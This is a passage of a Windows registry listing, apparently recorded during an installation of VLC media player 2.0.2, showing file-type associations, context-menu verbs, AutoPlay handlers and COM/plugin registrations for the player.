"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".oma" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".caf" = "VLC.caf"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogm" = ""
".OGA" = ""

[HKCR\VLC.au\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpv2" = "VLC.mpv2"

[HKCR\Applications\vlc.exe\SupportedTypes]
".OGG" = ""

[HKCR\VLC.aiff]
"(Default)" = "VLC media file (.aiff)"

[HKCR\VLC.asf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp2v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.asf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogv" = ""

[HKCR\VLC.ogg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.tts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.xspf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.w64\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M3U8" = ""

[HKCU\Software\Classes\.webm]
"(Default)" = "VLC.webm"

[HKCR\Applications\vlc.exe\SupportedTypes]
".dv" = ""

[HKCR\VLC.f4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.669]
"(Default)" = "VLC.669"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"InvokeProgID" = "VLC.OPENFolder"

[HKCR\VLC.rm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.avi\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".RMI" = ""

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.xm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asf]
"(Default)" = "VLC media file (.asf)"

[HKCR\VLC.f4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.dv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.mp4]
"(Default)" = "VLC.mp4"

[HKCR\VLC.vro\shell\Open]
"(Default)" = "Play"

[HKCR\AudioCD\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.cue\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Description" = "VLC Multimedia Plugin"

[HKCR\VLC.mpeg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mov\shell]
"(Default)" = "Open"

[HKCR\.mov]
"(Default)" = "VLC.mov"

[HKCR\VLC.amr\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rm" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".w64" = "VLC.w64"
".WAV" = "VLC.wav"

[HKCR\VLC.aac]
"(Default)" = "VLC media file (.aac)"

[HKCR\VLC.vro\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.dts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mpa\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.a52\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.SVCDMovie]
"(Default)" = "VLC SVCD Movie"

[HKCR\VLC.it\shell]
"(Default)" = "Open"

[HKCR\VLC.CDAudio\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell]
"(Default)" = "Open"

[HKCR\VLC.ac3]
"(Default)" = "VLC media file (.ac3)"

[HKCR\Directory\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.asx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\VLC.cda\shell]
"(Default)" = "Open"

[HKCR\VLC.mp4v\shell]
"(Default)" = "Open"

[HKCR\VLC.ts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpv2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gpp]
"(Default)" = "VLC media file (.3gpp)"

[HKCR\VLC.asf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vqf\shell]
"(Default)" = "Open"

[HKCR\VLC.mkv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"Action" = "Play SVCD movie"

[HKCR\VLC.au\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.drc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".voc" = ""
".vob" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".flv" = "VLC.flv"

[HKCR\VLC.voc\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"InstallDir" = "%Program Files% (x86)\VideoLAN\VLC"

[HKCR\VLC.m1v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VideoLAN.VLCPlugin.1\CLSID]
"(Default)" = "{E23FE9C6-778E-49D4-B537-38FCDE4887D8}"

[HKCR\VLC.mp2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"InvokeProgID" = "VLC.OPENFolder"

[HKCR\VLC.mkv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpv2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.rmvb\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC"

[HKCR\.mpv2]
"(Default)" = "VLC.mpv2"

[HKCR\VLC.mka]
"(Default)" = "VLC media file (.mka)"

[HKCR\VLC.m1v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.SVCDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file vcd:///%1"

[HKCR\VLC.VCDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.dts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg]
"(Default)" = "VLC media file (.mpeg)"

[HKCR\VLC.amr\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xa\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.asf\shell]
"(Default)" = "Open"

[HKCR\VLC.sdp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mxf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.m4p]
"(Default)" = "VLC.m4p"

[HKCR\VLC.ogm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.CDAudio\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file cdda:///%1"

[HKCR\VLC.ram\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mkv" = "VLC.mkv"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp4v" = ""

[HKCR\VLC.pls\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mka" = "VLC.mka"

[HKCR\VLC.m4p\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mov\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}]
"(Default)" = "IVLCControl"

[HKCR\VLC.spx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.wma\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpa]
"(Default)" = "VLC media file (.mpa)"

[HKCR\VLC.669\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.wmv]
"(Default)" = "VLC.wmv"

[HKCR\VLC.DVDMovie]
"(Default)" = "VLC DVD Movie"

[HKCR\VLC.ifo\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.m3u8]
"(Default)" = "VLC.m3u8"

[HKCR\VLC.adts\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".flv" = ""

[HKCR\VLC.adt\shell]
"(Default)" = "Open"

[HKCR\.adt]
"(Default)" = "VLC.adt"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}]
"(Default)" = "IVLCVideo"

[HKCR\VLC.3ga\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ogv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vqf" = "VLC.vqf"

[HKCR\VLC.mts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.s3m\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.dv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oma\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m3u\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mka\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.xspf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.f4v]
"(Default)" = "VLC media file (.f4v)"

[HKCR\VLC.m3u8\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".b4s" = "VLC.b4s"

[HKCR\VLC.aif\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.drc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aob\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Version" = "2.0.2"

[HKCR\VLC.3gp]
"(Default)" = "VLC media file (.3gp)"

[HKCR\VLC.mpeg4\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".nsv" = "VLC.nsv"

[HKCR\.rmi]
"(Default)" = "VLC.rmi"

[HKCR\VLC.tta\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.amv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.aif]
"(Default)" = "VLC.aif"

[HKCR\VLC.m2ts\shell]
"(Default)" = "Open"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}]
"(Default)" = "IVLCPlaylist"

[HKCR\.oga]
"(Default)" = "VLC.oga"

[HKCR\VLC.mp1\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m1v" = "VLC.m1v"

[HKCR\VLC.gxf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cda\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".b4s" = ""

[HKCR\VLC.adt\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.adt\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"ShowIconsCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /ShowIcons /S"

[HKCR\VLC.ifo\shell]
"(Default)" = "Open"

[HKCR\VLC.ogm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mkv]
"(Default)" = "VLC media file (.mkv)"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.m2t\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".nsv" = ""

[HKCR\VLC.oma\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mid]
"(Default)" = "VLC media file (.mid)"

[HKCR\VLC.vqf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.snd\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayVideoFilesOnArrival]
"VLCPlayVideoFilesOnArrival" = ""

[HKCR\VLC.it\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ac3\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.rec\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".snd" = "VLC.snd"

[HKCR\VLC.adts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}]
"(Default)" = "IVLCSubtitle"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}]
"(Default)" = "IVLCAudio"

[HKCR\VLC.3gp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.wav\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mkv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ape\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.3ga\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.caf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aac\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m2v]
"(Default)" = "VLC media file (.m2v)"

[HKCR\VLC.cda\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.ram\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.gxf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".asf" = "VLC.asf"
".asx" = "VLC.asx"

[HKCR\VLC.aifc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ac3\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.s3m\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.bin\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"InvokeVerb" = "Open"
"Action" = "Play audio files"

[HKCR\VLC.3gp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp1\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.flv]
"(Default)" = "VLC.flv"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"HideIconsCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /HideIcons /S"

[HKCR\Applications\vlc.exe\SupportedTypes]
".caf" = ""

[HKCR\VLC.ram]
"(Default)" = "VLC media file (.ram)"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mxf" = "VLC.mxf"

[HKCR\VLC.wv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.spx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.asx]
"(Default)" = "VLC media file (.asx)"

[HKCR\VLC.mp2v]
"(Default)" = "VLC media file (.mp2v)"

[HKCR\VLC.mtv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mod\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mov\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.aiff\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.aifc]
"(Default)" = "VLC media file (.aifc)"

[HKCR\VLC.avi\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.tts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2t\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\DVD\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file dvd:///%1"

[HKCR\VLC.divx\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vro" = "VLC.vro"

[HKCR\VLC.m2ts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.xa\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gpp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3gp2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xm]
"(Default)" = "VLC media file (.xm)"

[HKCR\VLC.nuv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mod\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.aifc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m4a\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.dv\shell]
"(Default)" = "Open"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}]
"(Default)" = "DVLCEvents"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".dv" = "VLC.dv"

[HKCR\VLC.mpa\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpeg2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m1v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.spx\shell]
"(Default)" = "Open"

[HKCR\VLC.mkv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.rmi]
"(Default)" = "VLC media file (.rmi)"

[HKCR\VLC.a52\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.drc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m2t\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.vqf]
"(Default)" = "VLC media file (.vqf)"

[HKCR\VLC.bin\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ac3\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amr\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vob" = "VLC.vob"

[HKCR\VLC.au\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rmvb\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\ProgID]
"(Default)" = "VideoLAN.VLCPlugin.2"

[HKCR\VLC.oma\shell]
"(Default)" = "Open"

[HKCR\VLC.snd\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\Open]
